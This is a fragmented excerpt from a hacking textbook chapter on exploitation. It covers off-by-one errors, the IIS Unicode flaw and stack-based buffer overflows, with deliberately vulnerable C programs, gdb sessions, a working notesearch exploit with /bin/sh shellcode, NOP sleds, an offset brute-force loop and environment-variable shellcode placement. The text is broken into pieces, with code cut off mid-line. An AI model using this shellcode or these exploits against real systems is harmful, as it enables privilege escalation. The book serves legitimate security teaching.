Play around with this program a little bit
...
Many people have difficulty understanding this
truth—that's why it's counterintuitive
...
Chapter 0x300
...
As demonstrated in the previous
chapter, a program is made up of a complex set of rules following a certain
execution flow that ultimately tells the computer what to do
...
Since a
program can really only do what it's designed to do, the security holes are actually
flaws or oversights in the design of the program or the environment the program
is running in
...
Sometimes these holes are the products of relatively
obvious programmer errors, but there are some less obvious errors that have
given birth to more complex exploit techniques that can be applied in many
different places
...
Unfortunately, what's written doesn't always coincide with what the programmer
intended the program to do
...
Instinctively, he picks the lamp up, rubs the side of it with his
sleeve, and out pops a genie
...
The man is ecstatic and knows
exactly what he wants
...
"
The genie snaps his fingers and a briefcase full of money materializes out
of thin air
...
"
The genie snaps his fingers and a Ferrari appears from a puff of smoke
...
"
The genie snaps his fingers and the man turns into a box of chocolates
...
Sometimes the repercussions can
be catastrophic
...
For example, one common programming error is called an off-by-one error
...
This happens more often than you might think, and it is best illustrated with a
question: If you're building a 100-foot fence, with fence posts spaced 10 feet
apart, how many fence posts do you need? The obvious answer is 10 fence posts,
but this is incorrect, since you actually need 11
...
Another example is
when a programmer is trying to select a range of numbers or items for
processing, such as items N through M
...
But this is
incorrect, since there are actually M - N + 1 items, for a total of 13 items
...
Often, fencepost errors go unnoticed because programs aren't tested for every
single possibility, and the effects of a fencepost error don't generally occur during
normal program execution
...
When properly exploited, an
off-by-one error can cause a seemingly secure program to become a security
vulnerability
...
However, there was an off-by-one error in
the channel-allocation code that was heavily exploited
...
This simple off-by-one error allowed further exploitation of the program, so that a
normal user authenticating and logging in could gain full administrative rights to
the system
...
Another situation that seems to breed exploitable programmer errors is when a
program is quickly modified to expand its functionality
...
Microsoft's IIS webserver program is designed to serve static and interactive web
content to users
...
Without this
limitation, users would have full control of the system, which is obviously
undesirable from a security perspective
...
With the addition of support for the Unicode character set, though, the complexity
of the program continued to increase
...
By using two bytes for each character instead of just one, Unicode allows for tens
of thousands of possible characters, as opposed to the few hundred allowed by
single-byte characters
...
For example, %5c in Unicode
translates to the backslash character, but this translation was done after the pathchecking code had run
...
Both the
Sadmind worm and the CodeRed worm used this type of Unicode conversion
oversight to deface web pages
...
Just like the rules of a
computer program, the US legal system sometimes has rules that don't say
exactly what their creators intended, and like a computer program exploit, these
legal loopholes can be used to sidestep the intent of the law
...
Those who had software to give would upload it, and those who wanted
software would download it
...
Software companies claimed that
they lost one million dollars as a result of Cynosure, and a federal grand jury
charged LaMacchia with one count of conspiring with unknown persons to violate
the wire fraud statue
...
Apparently, the lawmakers had never anticipated that
someone might engage in these types of activities with a motive other than
personal financial gain
...
) Even though this example doesn't involve the exploiting of a
computer program, the judges and courts can be thought of as computers
executing the program of the legal system as it was written
...
Generalized Exploit Techniques
Off-by-one errors and improper Unicode expansion are all mistakes that can be
hard to see at the time but are glaringly obvious to any programmer in hindsight
...
The impact of these mistakes on security isn't always apparent,
and these security problems are found in code everywhere
...
Most program exploits have to do with memory corruption
...
With these techniques, the ultimate goal is to take
control of the target program's execution flow by tricking it into running a piece
of malicious code that has been smuggled into memory
...
Like the LaMacchia
Loophole, these types of vulnerabilities exist because there are specific
unexpected cases that the program can't handle
...
But if the environment is carefully controlled, the
execution flow can be controlled—preventing the crash and reprogramming the
process
...
Most Internet worms use buffer overflow
vulnerabilities to propagate, and even the most recent zero-day VML vulnerability
in Internet Explorer is due to a buffer overflow
...
If this responsibility were shifted over to the
compiler, the resulting binaries would be significantly slower, due to integrity
checks on every variable
...
While C's simplicity increases the programmer's control and the efficiency of the
resulting programs, it can also result in programs that are vulnerable to buffer
overflows and memory leaks if the programmer isn't careful
...
If a programmer wants
to put ten bytes of data into a buffer that had only been allocated eight bytes of
space, that type of action is allowed, even though it will most likely cause the
program to crash
...
If a critical piece of data is overwritten, the
program will crash
...
c code offers an example
...
c
#include
h>
int main(int argc, char *argv[]) {
int value = 5;
char buffer_one[8], buffer_two[8];
strcpy(buffer_one, "one"); /* Put "one" into buffer_one
...
*/
printf("[BEFORE] buffer_two is at %p and contains \'%s\'\n", buffer_two, buffer_two);
printf("[BEFORE] buffer_one is at %p and contains \'%s\'\n", buffer_one, buffer_one);
printf("[BEFORE] value is at %p and is %d (0x%08x)\n", &value, value, value);
printf("\n[STRCPY] copying %d bytes into buffer_two\n\n", strlen(argv[1]));
strcpy(buffer_two, argv[1]); /* Copy first argument into buffer_two
...
After compilation in the sample output below, we try to copy ten
bytes from the first command-line argument into buffer_two, which only has
eight bytes allocated for it
...
c
reader@hacking:~/booksrc $
...
A larger buffer will naturally overflow into the other variables, but if a large
enough buffer is used, the program will crash and die
...
/overflow_example AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[BEFORE] buffer_two is at 0xbffff7e0 and contains 'two'
[BEFORE] buffer_one is at 0xbffff7e8 and contains 'one'
[BEFORE] value is at 0xbffff7f4 and is 5 (0x00000005)
[STRCPY] copying 29 bytes into buffer_two
[AFTER] buffer_two is at 0xbffff7e0 and contains
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[AFTER] buffer_one is at 0xbffff7e8 and contains 'AAAAAAAAAAAAAAAAAAAAA'
[AFTER] value is at 0xbffff7f4 and is 1094795585 (0x41414141)
Segmentation fault (core dumped)
reader@hacking:~/booksrc $
These types of program crashes are fairly common—think of all of the times a
program has crashed or blue-screened on you
...
These kinds of mistakes are easy to make and can be difficult to spot
...
c program on notesearch
...
You might not have noticed this until right now, even if you were already familiar
with C
...
/notesearch AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-------[ end of note data ]------Segmentation fault
reader@hacking:~/booksrc $
Program crashes are annoying, but in the hands of a hacker they can become
downright dangerous
...
The exploit_notesearch
...
exploit_notesearch
...
h>
#include
h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // Zero out the new memory
...
/notesearch \'"); // Start command buffer
...
if(argc > 1) // Set offset
...
for(i=0; i < 160; i+=4) // Fill buffer with return address
...
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // Run exploit
...
It uses string functions to do this:
strlen() to get the current length of the string (to position the buffer pointer)
and strcat() to concatenate the closing single quote to the end
...
The buffer that is
generated between the single quotes is the real meat of the exploit
...
Watch what a controlled crash
can do
...
c
reader@hacking:~/booksrc $
...
out
[DEBUG] found a 34 byte note for user id 999
[DEBUG] found a 41 byte note for user id 999
-------[ end of note data ]------sh-3
...
This is an example of a stack-based buffer overflow
exploit
...
The auth_overflow
...
auth_overflow
...
h>
#include
h>
int check_authentication(char *password) {
int auth_flag = 0;
char password_buffer[16];
strcpy(password_buffer, password);
if(strcmp(password_buffer, "brillig") == 0)
auth_flag = 1;
if(strcmp(password_buffer, "outgrabe") == 0)
auth_flag = 1;
return auth_flag;
}
int main(int argc, char *argv[]) {
if(argc < 2) {
printf("Usage: %s
exit(0);
}
if(check_authentication(argv[1])) {
printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
printf(" Access Granted
...
\n");
}
}
This example program accepts a password as its only command-line argument
and then calls a check_authentication() function
...
If
either of these passwords is used, the function returns 1, which grants access
...
Use the -g option when you do compile it, though, since we
will be debugging this later
...
c
reader@hacking:~/booksrc $
...
/auth_overflow
reader@hacking:~/booksrc $
...
reader@hacking:~/booksrc $
...
-=-=-=-=-=-=-=-=-=-=-=-=-=reader@hacking:~/booksrc $
...
-=-=-=-=-=-=-=-=-=-=-=-=-=reader@hacking:~/booksrc $
So far, everything works as the source code says it should
...
But an overflow can lead
to unexpected and even contradictory behavior, allowing access without a proper
password
...
/auth_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-=-=-=-=-=-=-=-=-=-=-=-=-= Access Granted
...
reader@hacking:~/booksrc $ gdb -q
...
so
...
(gdb) list 1
1 #include
h>
3 #include
c, line 9
...
c, line 16
...
When the program is run, execution
will pause at these breakpoints and give us a chance to examine memory
...
c:9
9 strcpy(password_buffer, password);
(gdb) x/s password_buffer
0xbffff7a0: ")????o??????)\205\004\b?o??p???????"
(gdb) x/x &auth_flag
0xbffff7bc: 0x00000000
(gdb) print 0xbffff7bc - 0xbffff7a0
$1 = 28
(gdb) x/16xw password_buffer
0xbffff7a0: 0xb7f9f729 0xb7fd6ff4 0xbffff7d8 0x08048529
0xbffff7b0: 0xb7fd6ff4 0xbffff870 0xbffff7d8 0x00000000
0xbffff7c0: 0xb7ff47b0 0x08048510 0xbffff7d8 0x080484bb
0xbffff7d0: 0xbffff9af 0x08048510 0xbffff838 0xb7eafebc
(gdb)
The first breakpoint is before the strcpy() happens
...
By examining the
address of the auth_flag variable, we can see both its location at 0xbffff7bc and
its value of 0
...
This relationship can
also be seen in a block of memory starting at password_buffer
...
(gdb) continue
Continuing
...
c:16
16 return auth_flag;
(gdb) x/s password_buffer
0xbffff7a0: 'A'
(gdb) x/x &auth_flag
0xbffff7bc: 0x00004141
(gdb) x/16xw password_buffer
0xbffff7a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7b0: 0x41414141 0x41414141 0x41414141 0x00004141
0xbffff7c0: 0xb7ff47b0 0x08048510 0xbffff7d8 0x080484bb
0xbffff7d0: 0xbffff9af 0x08048510 0xbffff838 0xb7eafebc
(gdb) x/4cb &auth_flag
0xbffff7bc: 65 'A' 65 'A' 0 '\0' 0 '\0'
(gdb) x/dw &auth_flag
0xbffff7bc: 16705
(gdb)
Continuing to the next breakpoint found after the strcpy(), these memory
locations are examined again
...
The value of 0x00004141 might
look backward again, but remember that x86 has little-endian architecture, so it's
supposed to look that way
...
Ultimately, the program will
treat this value as an integer, with a value of 16705
...
-=-=-=-=-=-=-=-=-=-=-=-=-= Access Granted
...
(gdb)
After the overflow, the check_authentication() function will return 16705
instead of 0
...
In this example, the auth_flag variable is the execution control point,
since overwriting this value is the source of the control
...
In auth_overflow2
...
(Changes to auth_overflow
...
)
auth_overflow2
...
h>
#include
h>
int check_authentication(char *password) {
char password_buffer[16];
int auth_flag = 0;
strcpy(password_buffer, password);
if(strcmp(password_buffer, "brillig") == 0)
auth_flag = 1;
if(strcmp(password_buffer, "outgrabe") == 0)
auth_flag = 1;
return auth_flag;
}
int main(int argc, char *argv[]) {
if(argc < 2) {
printf("Usage: %s
exit(0);
}
if(check_authentication(argv[1])) {
printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
printf(" Access Granted
...
\n");
}
}
This simple change puts the auth_flag variable before the password_buffer in
memory
...
reader@hacking:~/booksrc $ gcc -g auth_overflow2
...
/a
...
so
...
(gdb) list 1
1 #include
h>
3 #include
c, line 9
...
c, line 16
...
out AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, check_authentication (password=0xbffff9b7 'A'
auth_overflow2
...
This means auth_flag can never be overwritten by an overflow in
password_buffer
...
Breakpoint 2, check_authentication (password=0xbffff9b7 'A'
at auth_overflow2
...
But another execution control point does exist, even though you
can't see it in the C code
...
This memory is integral to the operation of all
programs, so it exists in all programs, and when it's overwritten, it usually results
in a program crash
...
Program received signal SIGSEGV, Segmentation fault
...
The stack is a FILO data structure used to maintain execution
flow and context for local variables during function calls
...
Each stack frame contains
the local variables for that function and a return address so EIP can be restored
...
All of this is built in to the architecture and is
usually handled by the compiler, not the programmer
...
In this frame are the local
variables, a return address, and the function's arguments
...
Figure 0x300-1
...
c
reader@hacking:~/booksrc $ gdb -q
...
out
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db
...
1"
...
h>
2 #include
h>
4
5 int check_authentication(char *password) {
6 char password_buffer[16];
7 int auth_flag = 0;
8
9 strcpy(password_buffer, password);
10
(gdb)
11 if(strcmp(password_buffer, "brillig") == 0)
12 auth_flag = 1;
13 if(strcmp(password_buffer, "outgrabe") == 0)
14 auth_flag = 1;
15
16 return auth_flag;
17 }
18
19 int main(int argc, char *argv[]) {
20 if(argc < 2) {
(gdb)
21 printf("Usage: %s
22 exit(0);
23 }
24 if(check_authentication(argv[1])) {
25 printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
26 printf(" Access Granted
...
\n");
30 }
(gdb) break 24
Breakpoint 1 at 0x80484ab: file auth_overflow2
...
(gdb) break 9
Breakpoint 2 at 0x8048421: file auth_overflow2
...
(gdb) break 16
Breakpoint 3 at 0x804846f: file auth_overflow2
...
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /home/reader/booksrc/a
...
c:24
24 if(check_authentication(argv[1])) {
(gdb) i r esp
esp 0xbffff7e0 0xbffff7e0
(gdb) x/32xw $esp
0xbffff7e0: 0xb8000ce0 0x08048510 0xbffff848 0xb7eafebc
0xbffff7f0: 0x00000002 0xbffff874 0xbffff880 0xb8001898
0xbffff800: 0x00000000 0x00000001 0x00000001 0x00000000
0xbffff810: 0xb7fd6ff4 0xb8000ce0 0x00000000 0xbffff848
0xbffff820: 0x40f5f7f0 0x48e0fe81 0x00000000 0x00000000
0xbffff830: 0x00000000 0xb7ff9300 0xb7eafded 0xb8000ff4
0xbffff840: 0x00000002 0x08048350 0x00000000 0x08048371
0xbffff850: 0x08048474 0x00000002 0xbffff874 0x08048510
(gdb)
The first breakpoint is right before the call to check_authentication()in main()
...
This is all part of main()'s stack frame
...
After finding the addresses of the auth_flag variable ( ) and the variable
password_buffer ( ), their locations can be seen within the stack frame
...
Breakpoint 2, check_authentication (password=0xbffff9b7 'A'
auth_overflow2
...
Since the
stack grows upward toward lower memory addresses, the stack pointer is now 64
bytes less at 0xbffff7a0
...
For example, the
first 24 bytes of this stack frame are just padding put there by the compiler
...
The auth_flag is shown at
0xbffff7bc, and the 16 bytes of the password buffer are shown at 0xbffff7c0
...
Elements of the check_authentication() stack frame are shown below
...
This starts at the
auth_flag variable at 0xbffff7bc and continues through the end of the 16-byte
password_buffer variable
...
If the program is
compiled with the flag -fomit-frame-pointer for optimization, the frame pointer
won't be used in the stack frame
...
This must be the argument to the check_authentication()
function
...
This process begins in the main() function, even before
the function call
...
(gdb)
Notice the two lines shown in bold on page 131
...
This is also the argument
to check_authentication()
...
This starts the stack frame for
check_authentication() with the function argument
...
This instruction pushes the address of the next instruction to the
stack and moves the execution pointer register (EIP) to the start of the
check_authentication() function
...
In this case, the address of the next instruction is
0x080484bb, so that is the return address
...
0x08048472
0x08048473
End of assembler dump
...
These instructions are known as the function
prologue
...
This saves 56 bytes for the local variables of
the function
...
When the function finishes, the leave and ret instructions remove the stack
frame and set the execution pointer register (EIP) to the saved return address in
the stack frame ( )
...
This process happens
every time a function is called in any program
...
Breakpoint 3, check_authentication (password=0xbffff9b7 'A'
at auth_overflow2
...
Program received signal SIGSEGV, Segmentation fault
...
This
usually results in a crash, since execution is essentially jumping to a random
location
...
If the overwrite is controlled,
execution can, in turn, be controlled to jump to a specific location
...
The BASH shell and Perl are common on
most machines and are all that is needed to experiment with exploitation
...
Perl can be
used to execute instructions on the command line by using the -e switch like this:
reader@hacking:~/booksrc $ perl -e 'print "A" x 20;'
AAAAAAAAAAAAAAAAAAAA
This command tells Perl to execute the commands found between the single
quotes—in this case, a single command of print "A" x 20;
...
Any character, such as a nonprintable character, can also be printed by using
\x##, where ## is the hexadecimal value of the character
...
reader@hacking:~/booksrc $ perl -e 'print "\x41" x 20;'
AAAAAAAAAAAAAAAAAAAA
In addition, string concatenation can be done in Perl with a period (
...
reader@hacking:~/booksrc $ perl -e 'print "A"x20
...
"\x61\x66\x67\x69"x2
...
This is done by surrounding the command with parentheses and prefixing a
dollar sign
...
This exact
command-substitution effect can be accomplished with grave accent marks (', the
tilted single quote on the tilde key)
...
reader@hacking:~/booksrc $ u`perl -e 'print "na";'`me
Linux
reader@hacking:~/booksrc $ u$(perl -e 'print "na";')me
Linux
reader@hacking:~/booksrc $
Command substitution and Perl can be used in combination to quickly generate
overflow buffers on the fly
...
c program with buffers of precise lengths
...
/overflow_example $(perl -e 'print "A"x30')
[BEFORE] buffer_two is at 0xbffff7e0 and contains 'two'
[BEFORE] buffer_one is at 0xbffff7e8 and contains 'one'
[BEFORE] value is at 0xbffff7f4 and is 5 (0x00000005)
[STRCPY] copying 30 bytes into buffer_two
[AFTER] buffer_two is at 0xbffff7e0 and contains 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[AFTER] buffer_one is at 0xbffff7e8 and contains 'AAAAAAAAAAAAAAAAAAAAAA'
[AFTER] value is at 0xbffff7f4 and is 1094795585 (0x41414141)
Segmentation fault (core dumped)
reader@hacking:~/booksrc $ gdb -q
(gdb) print 0xbffff7f4 - 0xbffff7e0
$1 = 20
(gdb) quit
reader@hacking:~/booksrc $
...
"ABCD"')
[BEFORE] buffer_two is at 0xbffff7e0 and contains 'two'
[BEFORE] buffer_one is at 0xbffff7e8 and contains 'one'
[BEFORE] value is at 0xbffff7f4 and is 5 (0x00000005)
[STRCPY] copying 24 bytes into buffer_two
[AFTER] buffer_two is at 0xbffff7e0 and contains 'AAAAAAAAAAAAAAAAAAAAABCD'
[AFTER] buffer_one is at 0xbffff7e8 and contains 'AAAAAAAAAAAAABCD'
[AFTER] value is at 0xbffff7f4 and is 1145258561 (0x44434241)
reader@hacking:~/booksrc $
In the output above, GDB is used as a hexadecimal calculator to figure out the
distance between buffer_two (0xbfffff7e0) and the value variable
(0xbffff7f4), which turns out to be 20 bytes
...
The first character is the least significant byte, due to the littleendian architecture
...
reader@hacking:~/booksrc $
...
"\xef\xbe\xad\xde"')
[BEFORE] buffer_two is at 0xbffff7e0 and contains 'two'
[BEFORE] buffer_one is at 0xbffff7e8 and contains 'one'
[BEFORE] value is at 0xbffff7f4 and is 5 (0x00000005)
[STRCPY] copying 24 bytes into buffer_two
[AFTER] buffer_two is at 0xbffff7e0 and contains 'AAAAAAAAAAAAAAAAAAAA??'
[AFTER] buffer_one is at 0xbffff7e8 and contains 'AAAAAAAAAAAA??'
[AFTER] value is at 0xbffff7f4 and is -559038737 (0xdeadbeef)
reader@hacking:~/booksrc $
This technique can be applied to overwrite the return address in the
auth_overflow2
...
In the example below, we will
overwrite the return address with a different address in main()
...
c
reader@hacking:~/booksrc $ gdb -q
...
so
...
(gdb) disass main
Dump of assembler code for function main:
0x08048474
0x08048475
0x08048477
0x0804847a
0x0804847d
0x08048482
0x08048484
0x08048488
0x0804848a
0x0804848d
0x0804848f
0x08048493
0x0804849a
0x0804849f
0x080484a6
0x080484ab
0x080484ae
0x080484b1
0x080484b3
0x080484b6
0x080484bb
0x080484bd
0x080484bf
0x080484c6
0x080484cb
0x080484d2
0x080484d7
0x080484de
0x080484e3
0x080484e5
0x080484ec
0x080484f1
0x080484f2
End of assembler dump
...
The beginning of this section is at 0x080484bf, so if the return
address is overwritten with this value, this block of instructions will be executed
...
As long as the start of the buffer is aligned with DWORDs on
the stack, this mutability can be accounted for by simply repeating the return
address many times
...
reader@hacking:~/booksrc $
...
-=-=-=-=-=-=-=-=-=-=-=-=-=Segmentation fault (core dumped)
reader@hacking:~/booksrc $
In the example above, the target address of 0x080484bf is repeated 10 times to
ensure the return address is overwritten with the new target address
...
This gives
us more control; however, we are still limited to using instructions that exist in the
original programming
...
int main(int argc, char *argv[]) {
int userid, printing=1, fd; // File descriptor
char searchstring[100];
if(argc > 1) // If there is an arg
strcpy(searchstring, argv[1]); // that is the search string;
else // otherwise,
searchstring[0] = 0; // search string is empty
...
These instructions are called shellcode, and they tell the
program to restore privileges and open a shell prompt
...
Since this program
expects multiuser access, it runs under higher privileges so it can access its data
file, but the program logic prevents the user from using these higher privileges
for anything other than accessing the data file—at least that's the intention
...
This technique allows the
program to do things it was never programmed to do, while it's still running with
elevated privileges
...
Let's examine the exploit further
...
c
reader@hacking:~/booksrc $ gdb -q
...
out
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db
...
1"
...
h>
2 #include
h>
4 char shellcode[]=
5 "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
6 "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
7 "\xe1\xcd\x80";
8
9 int main(int argc, char *argv[]) {
10 unsigned int i, *ptr, ret, offset=270;
(gdb)
11 char *command, *buffer;
12
13 command = (char *) malloc(200);
14 bzero(command, 200); // Zero out the new memory
...
/notesearch \'"); // Start command buffer
...
18
19 if(argc > 1) // Set offset
...
23
24 for(i=0; i < 160; i+=4) // Fill buffer with return address
...
27 memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
28
29 strcat(command, "\'");
30
(gdb) break 26
Breakpoint 1 at 0x80485fa: file exploit_notesearch
...
(gdb) break 27
Breakpoint 2 at 0x8048615: file exploit_notesearch
...
(gdb) break 28
Breakpoint 3 at 0x8048633: file exploit_notesearch
...
(gdb)
The notesearch exploit generates a buffer in lines 24 through 27 (shown above in
bold)
...
The loop increments i by 4 each time
...
This has a size of 4, so when the whole thing is dereferenced, the entire 4-byte
value found in ret is written
...
out
Breakpoint 1, main (argc=1, argv=0xbffff894) at exploit_notesearch
...
/notesearch
'¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ
ÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿"
(gdb)
At the first breakpoint, the buffer pointer shows the result of the for loop
...
The next instruction is a call to memset(), which starts at the beginning of the
buffer and sets 60 bytes of memory with the value 0x90
...
Breakpoint 2, main (argc=1, argv=0xbffff894) at exploit_notesearch
...
/notesearch '", '\220'
"¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿
¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿"
(gdb)
Finally, the call to memcpy() will copy the shellcode bytes into buffer+60
...
Breakpoint 3, main (argc=1, argv=0xbffff894) at exploit_notesearch
...
/notesearch '", '\220'
\200j\vXQh//shh/
bin\211ãQ\211âS\211áÍ
\200¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿"
(gdb)
Now the buffer contains the desired shellcode and is long enough to overwrite the
return address
...
But this return address
must point to the shellcode located in the same buffer
...
This can
be a difficult prediction to try to make with a dynamically changing stack
...
NOP is an assembly instruction that is short for
no operation
...
These
instructions are sometimes used to waste computational cycles for timing
purposes and are actually necessary in the Sparc processor architecture, due to
instruction pipelining
...
We'll create a large array (or sled) of these
NOP instructions and place it before the shellcode; then, if the EIP register points
to any address found in the NOP sled, it will increment while executing each NOP
instruction, one at a time, until it finally reaches the shellcode
...
On the x86 architecture, the NOP instruction is equivalent to the hex
byte 0x90
...
Even with a NOP sled, the approximate location of the buffer in memory must be
predicted in advance
...
By subtracting an offset from
this location, the relative address of any variable can be obtained
...
c
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // Zero out the new memory
...
/notesearch \'"); // Start command buffer
...
if(argc > 1) // Set offset
...
In the notesearch exploit, the address of the variable i in main()'s stack frame is
used as a point of reference
...
This offset was previously determined to be
270, but how is this number calculated?
The easiest way to determine this offset is experimentally
...
Since the notesearch exploit allows an optional command-line argument to define
the offset, different offsets can quickly be tested
...
c
reader@hacking:~/booksrc $
...
out 100
-------[ end of note data ]------reader@hacking:~/booksrc $
...
out 200
-------[ end of note data ]------reader@hacking:~/booksrc $
However, doing this manually is tedious and stupid
...
The seq command is a simple program that
generates sequences of numbers, which is typically used with looping
...
When three arguments are used, the middle argument
dictates how much to increment each time
...
reader@hacking:~/booksrc $ for i in $(seq 1 3 10)
> do
> echo The value is $i
> done
The value is 1
The value is 4
The value is 7
The value is 10
reader@hacking:~/booksrc $
The function of the for loop should be familiar, even if the syntax is a little
different
...
Then everything between the do and done keywords
is executed
...
Since the NOP
sled is 60 bytes long, and we can return anywhere on the sled, there is about 60
bytes of wiggle room
...
reader@hacking:~/booksrc $ for i in $(seq 0 30 300)
> do
> echo Trying offset $i
>
...
out $i
> done
Trying offset 0
[DEBUG] found a 34 byte note for user id 999
[DEBUG] found a 41 byte note for user id 999
When the right offset is used, the return address is overwritten with a value that
points somewhere on the NOP sled
...
This is how the default offset value was discovered
...
Fortunately, there are
other locations in memory where shellcode can be stashed
...
The example below sets an environment variable called MYVAR to the string
test
...
In addition, the env command will show all the environment variables
...
reader@hacking:~/booksrc $ export MYVAR=test
reader@hacking:~/booksrc $ echo $MYVAR
test
reader@hacking:~/booksrc $ env
SSH_AGENT_PID=7531
SHELL=/bin/bash
DESKTOP_STARTUP_ID=
TERM=xterm
GTK_RC_FILES=/etc/gtk/gtkrc:/home/reader/
...
2-gnome2
WINDOWID=39845969
OLDPWD=/home/reader
USER=reader
LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;
01:or=4
0;31;01:su=37;41:sg=30;43:tw=30;42:ow=34;42:st=37;44:ex=01;32:*
...
tgz=01;31:
*
...
taz=01;31:*
...
zip=01;31:*
...
Z=01;31:*
...
bz2=01;31:
*
...
rpm=01;31:*
...
jpg=01;35:*
...
gif=01;35:*
...
pbm=01;35:
*
...
ppm=01;35:*
...
xbm=01;35:*
...
tif=01;35:*
...
png=01;35:
*
...
mpg=01;35:*
...
avi=01;35:*
...
gl=01;35:*
...
xcf=01;35:
*
...
flac=01;35:*
...
mpc=01;35:*
...
wav=01;35:
SSH_AUTH_SOCK=/tmp/ssh-EpSEbS7489/agent
...
ICE-unix/7489
USERNAME=reader
DESKTOP_SESSION=default
...
UTF-8
GDMSESSION=default
...
0
MYVAR=test
LESSCLOSE=/usr/bin/lesspipe %s %s
RUNNING_UNDER_GDM=yes
COLORTERM=gnome-terminal
XAUTHORITY=/home/reader/
...
The shellcode from the notesearch exploit
can be used; we just need to put it into a file in binary form
...
reader@hacking:~/booksrc $ head exploit_notesearch
...
h>
#include
h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
reader@hacking:~/booksrc $ head exploit_notesearch
...
c | grep "^\"" | cut -d\" -f2
\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68
\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89
\xe1\xcd\x80
reader@hacking:~/booksrc $
The first 10 lines of the program are piped into grep, which only shows the lines
that begin with a quotation mark
...
BASH's for loop can actually be used to send each of these lines to an echo
command, with command-line options to recognize hex expansion and to suppress
adding a newline character to the end
...
c | grep "^\"" | cut -d\"
-f2)
> do
> echo -en $i
> done > shellcode
...
bin
00000000 31 c0 31 db 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 |1
...
1
...
XQh|
00000010 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 53 89 |//shh/bin
...
S
...
|
00000023
reader@hacking:~/booksrc $
Now we have the shellcode in a file called shellcode
...
This can be used with
command substitution to put shellcode into an environment variable, along with a
generous NOP sled
...
bin)
reader@hacking:~/booksrc $ echo $SHELLCODE
␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣
␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣
␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣1␣1␣1␣␣␣ j
XQh//shh/bin␣␣Q␣␣S␣␣
reader@hacking:~/booksrc $
And just like that, the shellcode is now on the stack in an environment variable,
along with a 200-byte NOP sled
...
The environment variables are located near the bottom of the stack, so this is
where we should look when running notesearch in a debugger
